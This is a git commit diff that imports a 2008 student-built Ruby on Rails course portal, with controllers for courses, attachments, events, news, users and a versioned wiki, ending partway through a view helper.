commit 5e4951fa47ddfbce384abb77b76999e9f8b12e70 Author: Alinson Santos Date: Sun Mar 2 16:04:34 2008 -0300 Initial import diff --git a/README b/README new file mode 100644 index 0000000..a1db73c --- /dev/null +++ b/README @@ -0,0 +1,203 @@ +== Welcome to Rails + +Rails is a web-application and persistence framework that includes everything +needed to create database-backed web-applications according to the +Model-View-Control pattern of separation. This pattern splits the view (also +called the presentation) into "dumb" templates that are primarily responsible +for inserting pre-built data in between HTML tags. The model contains the +"smart" domain objects (such as Account, Product, Person, Post) that holds all +the business logic and knows how to persist themselves to a database. The +controller handles the incoming requests (such as Save New Account, Update +Product, Show Post) by manipulating the model and directing data to the view. + +In Rails, the model is handled by what's called an object-relational mapping +layer entitled Active Record. This layer allows you to present the data from +database rows as objects and embellish these data objects with business logic +methods. You can read more about Active Record in +link:files/vendor/rails/activerecord/README.html. + +The controller and view are handled by the Action Pack, which handles both +layers by its two parts: Action View and Action Controller. These two layers +are bundled in a single package due to their heavy interdependence. This is +unlike the relationship between the Active Record and Action Pack that is much +more separate. Each of these packages can be used independently outside of +Rails. You can read more about Action Pack in +link:files/vendor/rails/actionpack/README.html. + + +== Getting Started + +1. At the command prompt, start a new Rails application using the rails command + and your application name. Ex: rails myapp + (If you've downloaded Rails in a complete tgz or zip, this step is already done) +2. Change directory into myapp and start the web server: script/server (run with --help for options) +3. Go to http://localhost:3000/ and get "Welcome aboard: You’re riding the Rails!" +4. Follow the guidelines to start developing your application + + +== Web Servers + +By default, Rails will try to use Mongrel and lighttpd if they are installed, otherwise +Rails will use WEBrick, the webserver that ships with Ruby. When you run script/server, +Rails will check if Mongrel exists, then lighttpd and finally fall back to WEBrick. This ensures +that you can always get up and running quickly. + +Mongrel is a Ruby-based webserver with a C component (which requires compilation) that is +suitable for development and deployment of Rails applications. If you have Ruby Gems installed, +getting up and running with mongrel is as easy as: gem install mongrel. +More info at: http://mongrel.rubyforge.org + +If Mongrel is not installed, Rails will look for lighttpd. It's considerably faster than +Mongrel and WEBrick and also suited for production use, but requires additional +installation and currently only works well on OS X/Unix (Windows users are encouraged +to start with Mongrel). We recommend version 1.4.11 and higher. You can download it from +http://www.lighttpd.net. + +And finally, if neither Mongrel or lighttpd are installed, Rails will use the built-in Ruby +web server, WEBrick. WEBrick is a small Ruby web server suitable for development, but not +for production. + +But of course its also possible to run Rails on any platform that supports FCGI. +Apache, LiteSpeed, IIS are just a few. For more information on FCGI, +please visit: http://wiki.rubyonrails.com/rails/pages/FastCGI + + +== Debugging Rails + +Sometimes your application goes wrong. Fortunately there are a lot of tools that +will help you debug it and get it back on the rails. + +First area to check is the application log files. Have "tail -f" commands running +on the server.log and development.log. Rails will automatically display debugging +and runtime information to these files. Debugging info will also be shown in the +browser on requests from 127.0.0.1. + +You can also log your own messages directly into the log file from your code using +the Ruby logger class from inside your controllers. Example: + + class WeblogController < ActionController::Base + def destroy + @weblog = Weblog.find(params[:id]) + @weblog.destroy + logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") + end + end + +The result will be a message in your log file along the lines of: + + Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1 + +More information on how to use the logger is at http://www.ruby-doc.org/core/ + +Also, Ruby documentation can be found at http://www.ruby-lang.org/ including: + +* The Learning Ruby (Pickaxe) Book: http://www.ruby-doc.org/docs/ProgrammingRuby/ +* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide) + +These two online (and free) books will bring you up to speed on the Ruby language +and also on programming in general. + + +== Debugger + +Debugger support is available through the debugger command when you start your Mongrel or +Webrick server with --debugger. This means that you can break out of execution at any point +in the code, investigate and change the model, AND then resume execution! Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.find(:all) + debugger + end + end + +So the controller will accept the action, run the first line, then present you +with a IRB prompt in the server window. Here you can do things like: + + >> @posts.inspect + => "[#nil, \"body\"=>nil, \"id\"=>\"1\"}>, + #\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]" + >> @posts.first.title = "hello from a debugger" + => "hello from a debugger" + +...and even better is that you can examine how your runtime objects actually work: + + >> f = @posts.first + => #nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + +Finally, when you're ready to resume execution, you enter "cont" + + +== Console + +You can interact with the domain model by starting the console through script/console. +Here you'll have all parts of the application configured, just like it is when the +application is running. You can inspect domain models, change values, and save to the +database. Starting the script without arguments will launch it in the development environment. +Passing an argument will specify a different environment, like script/console production. + +To reload your controllers and models after launching the console run reload! + + +== Description of Contents + +app + Holds all the code that's specific to this particular application. + +app/controllers + Holds controllers that should be named like weblogs_controller.rb for + automated URL mapping. All controllers should descend from ApplicationController + which itself descends from ActionController::Base. + +app/models + Holds models that should be named like post.rb. + Most models will descend from ActiveRecord::Base. + +app/views + Holds the template files for the view that should be named like + weblogs/index.erb for the WeblogsController#index action. All views use eRuby + syntax. + +app/views/layouts + Holds the template files for layouts to be used with views. This models the common + header/footer method of wrapping views. In your views, define a layout using the + layout :default and create a file named default.erb. Inside default.erb, + call <% yield %> to render the view using this layout. + +app/helpers + Holds view helpers that should be named like weblogs_helper.rb. These are generated + for you automatically when using script/generate for controllers. Helpers can be used to + wrap functionality for your views into methods. + +config + Configuration files for the Rails environment, the routing map, the database, and other dependencies. + +db + Contains the database schema in schema.rb. db/migrate contains all + the sequence of Migrations for your schema. + +doc + This directory is where your application documentation will be stored when generated + using rake doc:app + +lib + Application specific libraries. Basically, any kind of custom code that doesn't + belong under controllers, models, or helpers. This directory is in the load path. + +public + The directory available for the web server. Contains subdirectories for images, stylesheets, + and javascripts. Also contains the dispatchers and the default HTML files. This should be + set as the DOCUMENT_ROOT of your web server. + +script + Helper scripts for automation and generation. + +test + Unit and functional tests along with fixtures. When using the script/generate scripts, template + test files will be generated for you and placed in this directory. + +vendor + External libraries that the application depends on. Also includes the plugins subdirectory. + This directory is in the load path. diff --git a/Rakefile b/Rakefile new file mode 100644 index 0000000..3bb0e85 --- /dev/null +++ b/Rakefile @@ -0,0 +1,10 @@ +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require(File.join(File.dirname(__FILE__), 'config', 'boot')) + +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +require 'tasks/rails' diff --git a/app/controllers/application.rb b/app/controllers/application.rb new file mode 100644 index 0000000..828dacf --- /dev/null +++ b/app/controllers/application.rb @@ -0,0 +1,73 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require 'yaml' + +class ApplicationController < ActionController::Base + + include AuthenticationSystem + + before_filter :startup + around_filter :set_timezone + + # Força o login para algumas áreas do sistema + before_filter :require_login, :only => [ :edit, :new, :create, :update, :delete, :destroy, :download ] + + protected + def rescue_action(exception) + # Acesso negado + if exception.is_a?(AccessDenied) + respond_to do |format| + format.html { render :file => "#{RAILS_ROOT}/public/401.html", :status => 401 } + format.xml { head 401 } + end + + # Erro de validacao + elsif exception.is_a?(ActiveRecord::RecordInvalid) + respond_to do |format| + format.html { render :action => (exception.record.new_record? ? 'new' : 'edit') } + format.xml { render :xml => exception.record.errors, :status => :unprocessable_entity } + end + + # Registro nao encontrado + elsif (RAILS_ENV == 'production') and exception.is_a?(ActiveRecord::RecordNotFound) + respond_to do |format| + format.html { render :file => "#{RAILS_ROOT}/public/404.html", :status => 404 } + format.xml { head 404 } + end + + # Outras excecoes + else + super + end + end + + def set_timezone + #TzTime.zone = session[:user].tz + TzTime.zone = TZInfo::Timezone.get("America/Fortaleza") + yield + TzTime.reset! + end + + def startup + if session[:user_id] + @current_user = User.find(session[:user_id]) + else + login_by_token + end + + @color = App.default_color + @color = @current_user.pref_color if @current_user + @color = params[:color].to_i if params[:color] + end +end diff --git a/app/controllers/attachments_controller.rb b/app/controllers/attachments_controller.rb new file mode 100644 index 0000000..f938492 --- /dev/null +++ b/app/controllers/attachments_controller.rb @@ -0,0 +1,105 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class AttachmentsController < ApplicationController + + #verify :method => :post, :only => [ :destroy, :create, :update ], + # :redirect_to => { :controller => 'courses', :action => :show } + + before_filter :find_attachment, :except => [ :undelete ] + after_filter :cache_sweep, :only => [ :create, :update, :destroy ] + + def show + end + + def new + end + + def create + @attachment.course_id = @course.id + @attachment.description = params[:attachment][:description] + unless params[:attachment][:file].kind_of?(String) + @attachment.file = params[:attachment][:file] + @attachment.file_name = params[:attachment][:file].original_filename + @attachment.content_type = params[:attachment][:file].content_type + end + + # Verifica se o arquivo ja esta associado a outro anexo + #file_path = "#{RAILS_ROOT}/public/upload/#{@course.id}/#{@attachment.file_name}" + #@attachment.errors.add("file", "already exists") if File.exists?(file_path) + + if @attachment.save + AttachmentCreateLogEntry.create!(:target_id => @attachment.id, :user => @current_user, :course => @course) + flash[:notice] = 'Attachment created'[] + redirect_to :action => 'show', :id => @attachment.id + else + render :action => 'new' + end + end + + def edit + end + + def update + @attachment.description = params[:attachment][:description] + unless params[:attachment][:file].kind_of?(String) + @attachment.file = params[:attachment][:file] + @attachment.file_name = params[:attachment][:file].original_filename + @attachment.content_type = params[:attachment][:file].content_type + end + + if @attachment.save + AttachmentEditLogEntry.create!(:target_id => @attachment.id, :user => @current_user, :course => @course) + @attachment.last_modified = Time.now.utc + flash[:notice] = 'Attachment updated'[] + redirect_to :action => 'show', :id => @attachment.id + else + render :action => 'edit' + end + end + + def destroy + @attachment.destroy + flash[:notice] = 'Attachment removed'[] + flash[:undo] = undelete_course_attachment_url(@course, @attachment) + AttachmentDeleteLogEntry.create!(:target_id => @attachment.id, :user => @current_user, :course => @course) + redirect_to :controller => 'courses', :action => 'show', :id => @course + end + + def download + send_file("#{RAILS_ROOT}/public/upload/#{@course.id}/#{@attachment.id}", + :filename => @attachment.file_name, + :type => @attachment.content_type, + :disposition => 'attachment', + :streaming => 'true') + end + + def undelete + @attachment = Attachment.find_with_deleted(params[:id]) + @attachment.update_attribute(:deleted_at, nil) + flash[:notice] = 'Attachment restored'[] + AttachmentRestoreLogEntry.create!(:target_id => @attachment.id, :user => @current_user, :course => @course) + redirect_to course_attachment_url(@attachment.course, @attachment) + end + + protected + def find_attachment + params[:course_id] = Course.find_by_short_name(params[:course_id]).id if !params[:course_id].is_numeric? and !Course.find_by_short_name(params[:course_id]).nil? + @course = Course.find(params[:course_id]) + @attachment = params[:id] ? @course.attachments.find(params[:id]) : Attachment.new + end + + def cache_sweep + expire_fragment(:controller => 'courses', :action => 'show') + end +end diff --git a/app/controllers/courses_controller.rb b/app/controllers/courses_controller.rb new file mode 100644 index 0000000..0c65791 --- /dev/null +++ b/app/controllers/courses_controller.rb @@ -0,0 +1,112 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class CoursesController < ApplicationController + + before_filter :find_course, :except => [ :index ] + before_filter :require_admin, :only => [ :new, :create, :edit, :update, :destroy ] + before_filter :require_login, :only => [ :enroll, :unenroll ] + after_filter :cache_sweep, :only => [ :create, :update, :destroy ] + + def index + @courses = Course.find(:all, + :order => 'period asc, full_name asc', + :conditions => (logged_in? and !@current_user.courses.empty? ? [ 'id not in (?)', @current_user.courses] : '')) + + respond_to do |format| + format.html + format.xml { render :xml => @courses } + end + end + + def show + respond_to do |format| + format.html + format.xml { render :xml => @course } + end + end + + def new + end + + def create + @course.save! + flash[:notice] = 'Course created'[] + + respond_to do |format| + format.html { redirect_to course_path(@course) } + format.xml { head :created, :location => formatted_course_url(@course, :xml) } + end + end + + def edit + end + + def update + @course.attributes = params[:course] + @course.save! + + flash[:notice] = 'Course updated'[] + respond_to do |format| + format.html { redirect_to course_path(@course) } + format.xml { head :ok } + end + end + + def destroy + @course.destroy + flash[:notice] = 'Course removed'[] + + respond_to do |format| + format.html { redirect_to courses_path } + format.xml { head :ok } + end + end + + def enroll + @current_user.courses << @course + flash[:highlight] = @course.id + + respond_to do |format| + format.html { redirect_to courses_path } + format.xml { head :ok } + end + end + + def unenroll + @current_user.courses.delete(@course) + flash[:highlight] = @course.id + + respond_to do |format| + format.html { redirect_to courses_path } + format.xml { head :ok } + end + end + + protected + def find_course + params[:id] = Course.find_by_short_name(params[:id]).id if params[:id] and !params[:id].is_numeric? and !Course.find_by_short_name(params[:id]).nil? + @course = params[:id] ? Course.find(params[:id]) : Course.new(params[:course]) + end + + def require_admin + raise AccessDenied.new unless admin? + end + + def cache_sweep + expire_fragment(:action => 'show', :part => 'right') + expire_fragment(:action => 'show', :part => 'left') + expire_fragment(:action => 'show') + expire_fragment(:action => 'index') + end +end diff --git a/app/controllers/events_controller.rb b/app/controllers/events_controller.rb new file mode 100644 index 0000000..d4bc843 --- /dev/null +++ b/app/controllers/events_controller.rb @@ -0,0 +1,118 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class EventsController < ApplicationController + + before_filter :find_event, :except => [ :mini_calendar, :undelete ] + after_filter :cache_sweep, :only => [ :create, :update, :destroy ] + + def index + @events = @course.events + + respond_to do |format| + format.html + format.xml { render :xml => @events } + format.ics { response.content_type = Mime::ICS; render :text => Event.to_ical([@course]) } + end + end + + def show + respond_to do |format| + format.html + format.xml { render :xml => @event } + end + end + + def new + end + + def create + @event.course_id = @course.id + @event.created_by = session[:user_id] + @event.save! + flash[:notice] = 'Event created'[] + + EventCreateLogEntry.create!(:target_id => @event.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_event_path(@course, @event) } + format.xml { head :created, :location => formatted_course_event_url(@course, @event, :xml) } + end + end + + def edit + end + + def update + @event.attributes = params[:event] + @event.save! + flash[:notice] = 'Event updated'[] + + EventEditLogEntry.create!(:target_id => @event.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_event_path(@course, @event) } + format.xml { head :created, :location => formatted_course_event_url(@course, @event, :xml) } + end + end + + def destroy + @event.destroy + flash[:notice] = 'Event removed'[] + flash[:undo] = undelete_course_event_url(@course, @event) + + EventDeleteLogEntry.create!(:target_id => @event.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_events_path(@course) } + format.xml { head :ok } + end + end + + # Exibe o widget do calendario + def mini_calendar + @course = Course.find(params[:id]) + @year = params[:year].to_i + @month = params[:month].to_i + + @ajax = true + @events = @course.events + + render :template => 'widgets/calendario', :layout => false + end + + def undelete + @event = Event.find_with_deleted(params[:id]) + @event.update_attribute(:deleted_at, nil) + flash[:notice] = "Event restored"[] + + EventRestoreLogEntry.create!(:target_id => @event.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_event_url(@event.course, @event) } + end + end + + + protected + def find_event + params[:course_id] = Course.find_by_short_name(params[:course_id]).id if !params[:course_id].is_numeric? and !Course.find_by_short_name(params[:course_id]).nil? + @course = Course.find(params[:course_id]) + @event = params[:id] ? @course.events.find(params[:id]) : Event.new(params[:event]) + end + + def cache_sweep + expire_fragment(:controller => 'courses', :action => 'show', :part => 'right') + expire_fragment(:action => 'index') + end +end diff --git a/app/controllers/log_controller.rb b/app/controllers/log_controller.rb new file mode 100644 index 0000000..e853746 --- /dev/null +++ b/app/controllers/log_controller.rb @@ -0,0 +1,39 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class LogController < ApplicationController + + before_filter :find_course + + def index + @log_entries = @course.log_entries.find(:all, :limit => 50) #.paginate(:page => params[:page], :per_page => 30) + respond_to do |format| + format.html + end + end + + def undo + @log_entry = LogEntry.find(params[:id]) + @log_entry.undo!(@current_user) + + respond_to do |format| + format.html { redirect_to course_log_url } + end + end + + protected + def find_course + params[:course_id] = Course.find_by_short_name(params[:course_id]).id if !params[:course_id].is_numeric? and !Course.find_by_short_name(params[:course_id]).nil? + @course = Course.find(params[:course_id]) + end +end diff --git a/app/controllers/news_controller.rb b/app/controllers/news_controller.rb new file mode 100644 index 0000000..623bd6f --- /dev/null +++ b/app/controllers/news_controller.rb @@ -0,0 +1,111 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class NewsController < ApplicationController + + # GETs should be safe (see http://www.w3.org/2001/tag/doc/whenToUseGet.html) + #verify :method => :post, :only => [ :destroy, :create, :update ], + # :redirect_to => { :action => :list } + + before_filter :find_new, :except => [ :undelete ] + after_filter :cache_sweep, :only => [ :create, :update, :destroy ] + + def index + @news = @course.news + respond_to do |format| + format.html + format.xml { render :xml => @news } + format.rss { response.content_type = Mime::RSS } + end + end + + def show + respond_to do |format| + format.html + format.xml { render :xml => @news } + end + end + + def new + end + + def create + @news.receiver_id = @course.id + @news.sender_id = session[:user_id] + @news.timestamp = Time.now.utc + @news.save! + flash[:notice] = 'News created'[] + + NewsCreateLogEntry.create!(:target_id => @news.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_news_path(@course, @news) } + format.xml { head :created, :location => formatted_course_news_url(@course, @news, :xml) } + end + end + + def edit + end + + def update + @news.attributes = params[:news] + @news.save! + flash[:notice] = 'News updated'[] + + NewsEditLogEntry.create!(:target_id => @news.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_news_path(@course, @news) } + format.xml { head :created, :location => formatted_course_news_url(@course, @news, :xml) } + end + end + + def destroy + @news.destroy + flash[:notice] = 'News removed'[] + flash[:undo] = undelete_course_news_url(@course, @news) + + NewsDeleteLogEntry.create!(:target_id => @news.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_news_index_path(@course) } + format.xml { head :ok } + end + end + + def undelete + @news = News.find_with_deleted(params[:id]) + @news.update_attribute(:deleted_at, nil) + flash[:notice] = "News restored"[] + + NewsRestoreLogEntry.create!(:target_id => @news.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_news_url(@news.course, @news) } + end + end + + + protected + def find_new + params[:course_id] = Course.find_by_short_name(params[:course_id]).id if !params[:course_id].is_numeric? and !Course.find_by_short_name(params[:course_id]).nil? + @course = Course.find(params[:course_id]) + + @news = params[:id] ? @course.news.find(params[:id]) : News.new(params[:news]) + end + + def cache_sweep + expire_fragment(:controller => 'courses', :action => 'show', :part => 'right') + expire_fragment(:action => 'index') + end +end diff --git a/app/controllers/stylesheets_controller.rb b/app/controllers/stylesheets_controller.rb new file mode 100644 index 0000000..6b620f1 --- /dev/null +++ b/app/controllers/stylesheets_controller.rb @@ -0,0 +1,25 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class StylesheetsController < ApplicationController + + layout nil + caches_page :wiki + before_filter :set_headers + + private + def set_headers + response.content_type = Mime::CSS + end + +end diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb new file mode 100644 index 0000000..2c74d6b --- /dev/null +++ b/app/controllers/users_controller.rb @@ -0,0 +1,143 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class UsersController < ApplicationController + + before_filter :find_user, :only => [ :show, :edit, :update, :destroy, :signup ] + before_filter :require_login, :only => [ :settings ] + before_filter :require_admin, :only => [ :edit, :update, :destroy ] + + def index + @users = User.find(:all, :order => 'name') + + respond_to do |format| + format.html + format.xml { render :xml => @users } + end + end + + def show + respond_to do |format| + format.html + format.xml { render :xml => @user } + end + end + + def edit + end + + def update + raise AccessDenied.new unless (params[:user][:login] == @user.login) + raise AccessDenied.new unless (params[:user][:admin].nil? or @current_user.admin?) + @user.admin = !params[:user][:admin].nil? + + @user.attributes = params[:user] + @user.save! + flash[:notice] = 'User account updated'[] + + respond_to do |format| + format.html { redirect_to user_path(@user) } + format.xml { head :ok } + end + end + + def destroy + @user.destroy + flash[:notice] = 'User account removed'[] + + respond_to do |format| + format.html { redirect_to users_path } + format.xml { head :ok } + end + end + + def signup + if request.post? + begin + @user.last_seen = Time.now.utc + @user.save! + setup_session(@user) + flash[:message] = 'User account created'[] + redirect_to user_path(@user) + rescue ActiveRecord::RecordInvalid + flash[:warning] = 'Não foi possível cadastrar a conta.' + end + end + end + + def settings + @user = @current_user + if request.post? + @user.attributes = params[:user] + @user.save! + @color = @user.pref_color + flash[:message] = 'Settings updated'[] + redirect_to '/' + end + end + + def login + if request.post? + @user = User.find_by_login_and_pass(params[:user][:login], params[:user][:password]) + if !@user.nil? + setup_session(@user, (params[:remember_me] == "1")) + @user.update_attribute(:last_seen, Time.now.utc) + flash[:message] = 'Welcome back, {u}'[:login_success, @user.login] + redirect_to_stored + else + flash[:warning] = 'Login failed' + end + end + end + + def logout + destroy_session + flash[:message] = 'You have logged out'[:logout_success] + redirect_to '/' + end + + def dashboard + @news = [] + @events = [] + + unless @current_user.courses.empty? + @news = News.find(:all, :conditions => [ 'receiver_id in (?)', @current_user.courses ], + :order => 'timestamp desc') + @events = Event.find(:all, :conditions => [ 'course_id in (?) and (date > ?) and (date < ?)', + @current_user.courses, 1.day.ago, 14.days.from_now ], :order => 'date, time') + end + end + +# def forgot_password +# if request.post? +# u = User.find_by_email(params[:user][:email]) +# if u and u.send_new_password +# flash[:message] = "Uma nova senha foi enviada para o seu email." +# redirect_to :action=>'login' +# else +# flash[:warning] = "Não foi possível gerar uma nova senha." +# end +# end +# end + + #Funções do Fórum + protected + def find_user + params[:id] = User.find_by_login(params[:id]).id if params[:id] and !params[:id].is_numeric? + @user = params[:id] ? User.find(params[:id]) : User.new(params[:user]) + end + + def require_admin + raise AccessDenied.new unless admin? or @current_user == @user + end +end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb new file mode 100644 index 0000000..3aeb9c3 --- /dev/null +++ b/app/controllers/wiki_controller.rb @@ -0,0 +1,164 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +class WikiController < ApplicationController + + verify :params => :text, :only => :preview, :redirect_to => { :action => :show } + verify :params => [:from, :to], :only => :diff, :redirect_to => { :action => :versions } + + after_filter :cache_sweep, :only => [ :create, :update, :destroy ] + before_filter :find_wiki, :except => [ :preview, :undelete ] + before_filter :require_login, :only => [ :new, :create, :edit, :update, :destroy, + :move_up, :move_down, :undelete ] + + def index + @wiki_pages = @course.wiki_pages + + respond_to do |format| + format.html { redirect_to course_url(@course) } + format.xml { render :xml => @wiki_pages } + end + end + + def new + end + + def create + @wiki_page.version = 1 + @wiki_page.user_id = session[:user_id] + @wiki_page.course_id = @course.id + @wiki_page.description = "Nova página" + @wiki_page.save! + flash[:notice] = "Wiki page created"[] + + WikiCreateLogEntry.create!(:target_id => @wiki_page.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_wiki_path(@course, @wiki_page) } + format.xml { head :created, :location => formatted_course_wiki_url(@course, @wiki_page, :xml) } + end + end + + def show + @wiki_page.revert_to(params[:version]) if params[:version] + + respond_to do |format| + format.html + format.xml { render :xml => @wiki_page } + format.text { render :text => "# #{@wiki_page.title}\n\n#{@wiki_page.content}" } + end + end + + def edit + @wiki_page.revert_to(params[:version]) if params[:version] + @wiki_page.description = params[:description] || "" + end + + def update + @wiki_page.attributes = params[:wiki_page] + @wiki_page.user_id = session[:user_id] + @wiki_page.course_id = @course.id + dirty = @wiki_page.dirty? + @wiki_page.save! + + WikiEditLogEntry.create!(:target_id => @wiki_page.id, :user => @current_user, :course => @course, :version => @wiki_page.version) if dirty + + flash[:notice] = "Wiki page updated"[] + + respond_to do |format| + format.html { redirect_to course_wiki_path(@course, @wiki_page) } + format.xml { head :created, :location => formatted_course_wiki_url(@course, @wiki_page, :xml) } + end + end + + def destroy + @wiki_page.destroy + flash[:notice] = "Wiki page removed"[] + flash[:undo] = url_for(:course_id => @course, :id => @wiki_page.id, :action => 'undelete') + + WikiDeleteLogEntry.create!(:target_id => @wiki_page.id, :user => @current_user, :course => @course) + + respond_to do |format| + format.html { redirect_to course_url(@course) } + format.xml { head :ok } + end + end + + def versions + @history_to = params[:to] || @wiki_page.versions.count + @history_from = params[:from] || @wiki_page.versions.count - 1 + @offset = params[:offset] || 0 + + respond_to do |format| + format.html + format.xml + end + end + + def preview + @text = params[:text] + render :text => BlueCloth.new(@text).to_html + end + + def diff + @to = WikiPage.find_version(params[:id], params[:to]) + @from = WikiPage.find_version(params[:id], params[:from]) + @diff = WikiPage.diff(@from, @to) + end + + def move_up + @wiki_page.move_higher + @wiki_page.save + flash[:highlight] = @wiki_page.id + + respond_to do |format| + format.html { redirect_to course_url(@course) } + end + end + + def move_down + @wiki_page.move_lower + @wiki_page.save + flash[:highlight] = @wiki_page.id + + respond_to do |format| + format.html { redirect_to course_url(@course) } + end + end + + def undelete + @wiki_page = WikiPage.find_with_deleted(params[:id]) + @wiki_page.update_attribute(:deleted_at, nil) + flash[:notice] = "Wiki page restored"[] + + WikiRestoreLogEntry.create!(:target_id => @wiki_page.id, :user => @current_user, :course => @wiki_page.course) + + respond_to do |format| + format.html { redirect_to course_wiki_url(@wiki_page.course, @wiki_page) } + end + end + + protected + def find_wiki + params[:course_id] = Course.find_by_short_name(params[:course_id]).id if !params[:course_id].is_numeric? and !Course.find_by_short_name(params[:course_id]).nil? + @course = Course.find(params[:course_id]) + + params[:id] = @course.wiki_pages.find_by_title(params[:id]).id if params[:id] and !params[:id].is_numeric? and !@course.wiki_pages.find_by_title(params[:id]).nil? + @wiki_page = params[:id] ? @course.wiki_pages.find(params[:id]) : WikiPage.new(params[:wiki_page]) + end + + def cache_sweep + expire_fragment(:controller => 'courses', :action => 'show') + expire_fragment(:action => 'show') + end +end diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb new file mode 100644 index 0000000..054fa5c --- /dev/null +++ b/app/helpers/application_helper.rb @@ -0,0 +1,65 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require 'digest/md5' + +module ApplicationHelper + + # Converte para o timezone local + def tz(time_at) + TzTime.zone.utc_to_local(time_at.utc) + end + + FLASH_NAMES = [:notice, :warning, :message] + + def flash_div + output = "" + for name in FLASH_NAMES + if flash[name] + output << "" + end + end + return 